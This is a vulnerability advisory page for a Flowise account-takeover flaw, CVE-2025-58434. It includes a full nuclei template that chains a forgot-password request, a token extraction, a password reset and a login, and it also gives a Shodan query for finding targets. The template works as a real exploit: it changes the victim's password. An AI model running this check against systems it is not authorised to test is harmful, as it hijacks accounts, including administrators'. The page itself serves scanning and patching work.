HexBrain

Browse / CVEs / CVE-2025-58434

CVE-2025-58434· CWE-306

Flowise <= 3.0.5 - Account Takeover

criticalseverity
9.8CVSS score
83.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.

Impact

Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.

Fix

Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.

How to confirm it

Send: POST /api/v1/account/forgot-password
Positive when: status_code == 201
Send: POST /api/v1/account/reset-password
Positive when: status_code == 201
Send: POST /api/v1/auth/login
Positive when: status_code == 200 and contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')

Run it with nuclei: nuclei -id CVE-2025-58434 -u <target>

The full check
id: CVE-2025-58434

info:
  name: Flowise <= 3.0.5 - Account Takeover
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
  impact: |
    Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.
  remediation: |
    Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.
  reference:
    - https://github.com/advisories/GHSA-wgpv-6j63-x5ph
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58434
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-58434
    epss-score: 0.82585
    epss-percentile: 0.99668
    cwe-id: CWE-306
  metadata:
    verified: true
    shodan-query: http.title:"Flowise - Build AI Agents, Visually"
  tags: cve,cve2025,flowise,ato,rce,unauth,vuln,ai

variables:
  username: "{{username}}"
  new_password: "{{rand_text_alphanumeric(12)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/v1/account/forgot-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user":{"email":"{{username}}"}}

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"tempToken":"([A-Za-z0-9]{64})"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true


  - raw:
      - |
        POST /api/v1/account/reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "email": "{{username}}",
            "tempToken": "{{token}}",
            "password": "{{new_password}}"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true

  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "email": "{{username}}",
          "password": "{{new_password}}"
        }

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Password:" + new_password'

References

Use this check only on systems you are authorised to test. Where the data comes from